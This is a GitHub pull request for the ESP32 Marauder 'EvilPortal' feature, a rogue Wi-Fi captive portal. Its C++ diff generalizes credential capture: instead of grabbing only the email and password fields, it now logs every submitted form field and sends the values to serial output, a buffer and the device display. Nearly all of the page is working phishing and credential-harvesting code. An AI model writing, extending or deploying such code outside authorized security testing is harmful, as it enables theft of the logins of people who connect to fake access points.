Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

evil portal can manage more than two form field #455

Open
wants to merge 4 commits into
base: develop
Choose a base branch
from
Open

evil portal can manage more than two form field #455

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
4 commits
Select commit Hold shift + click to select a range
df45573
evil portal can manage more than two form field, logging every "name:…
Jan 2, 2024
f886087
evil portal can manage more than two form field, logging every "name:…
Jan 2, 2024
db5c3fb
Merge branch 'develop' into develop
HaroldFinchIFT Feb 9, 2024
b7ee071
evil portal can manage more than two form field, logging every "name:…
Feb 9, 2024
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
56 changes: 19 additions & 37 deletions esp32_marauder/EvilPortal.cpp
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -7,8 +7,7 @@ EvilPortal::EvilPortal() {

void EvilPortal::setup() {
this->runServer = false;
this->name_received = false;
this->password_received = false;
this->something_received = false;
this->has_html = false;
this->has_ap = false;

Expand Down Expand Up @@ -36,14 +35,6 @@ bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_
return true;
}

String EvilPortal::get_user_name() {
return this->user_name;
}

String EvilPortal::get_password() {
return this->password;
}

void EvilPortal::setupServer() {
server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
request->send_P(200, "text/html", index_html);
Expand All @@ -54,22 +45,14 @@ void EvilPortal::setupServer() {
});

server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
String inputMessage;
String inputParam;

if (request->hasParam("email")) {
inputMessage = request->getParam("email")->value();
inputParam = "email";
this->user_name = inputMessage;
this->name_received = true;
this->params_log = "";
int params = request->params();
for(int i=0; i < params; i++){
AsyncWebParameter* p = request->getParam(i);
this->params_log += p->name() + ": " + p->value();
this->something_received = true;
}

if (request->hasParam("password")) {
inputMessage = request->getParam("password")->value();
inputParam = "password";
this->password = inputMessage;
this->password_received = true;
}
request->send(
200, "text/html",
"<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
Expand Down Expand Up @@ -282,18 +265,17 @@ void EvilPortal::sendToDisplay(String msg) {
void EvilPortal::main(uint8_t scan_mode) {
if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
this->dnsServer.processNextRequest();
if (this->name_received && this->password_received) {
this->name_received = false;
this->password_received = false;
String logValue1 =
"u: " + this->user_name;
String logValue2 = "p: " + this->password;
String full_string = logValue1 + " " + logValue2 + "\n";
Serial.print(full_string);
buffer_obj.append(full_string);
#ifdef HAS_SCREEN
this->sendToDisplay(full_string);
#endif
if (this->something_received) {
this->something_received = false;

if (this->params_log.length() > 0) {
this->params_log = this->params_log + "\n";
Serial.print(this->params_log);
buffer_obj.append(this->params_log);
#ifdef HAS_SCREEN
this->sendToDisplay(this->params_log);
#endif
}
}
}
}
}
8 changes: 2 additions & 6 deletions esp32_marauder/EvilPortal.h
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -72,11 +72,9 @@ class EvilPortal {

private:
bool runServer;
bool name_received;
bool password_received;
bool something_received;

String user_name;
String password;
String params_log;

bool has_html;
bool has_ap;
Expand All @@ -102,8 +100,6 @@ class EvilPortal {

LinkedList<String>* html_files;

String get_user_name();
String get_password();
void setup();
bool begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
void main(uint8_t scan_mode);
Expand Down